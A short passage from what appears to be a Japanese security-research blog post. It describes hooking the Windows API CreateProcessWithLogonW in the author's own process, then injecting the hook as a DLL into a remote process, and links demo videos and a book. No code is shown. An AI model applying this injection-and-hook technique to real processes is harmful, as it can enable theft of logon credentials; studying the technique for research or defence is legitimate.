話を単純にするため,まずは自プロセス内のCreateProcessWithLogonWをフックするプログラムを作成し,実験してみる.

正しく動作していることがわかる.

www.youtube.com

次に,DLLとしてこのプログラムを書き直し,DLLインジェクションによるリモートプロセスへの注入で正しく動作するか試してみる.

正しく動作していることがわかる.

www.youtube.com

以上.

参考

book.impress.co.jp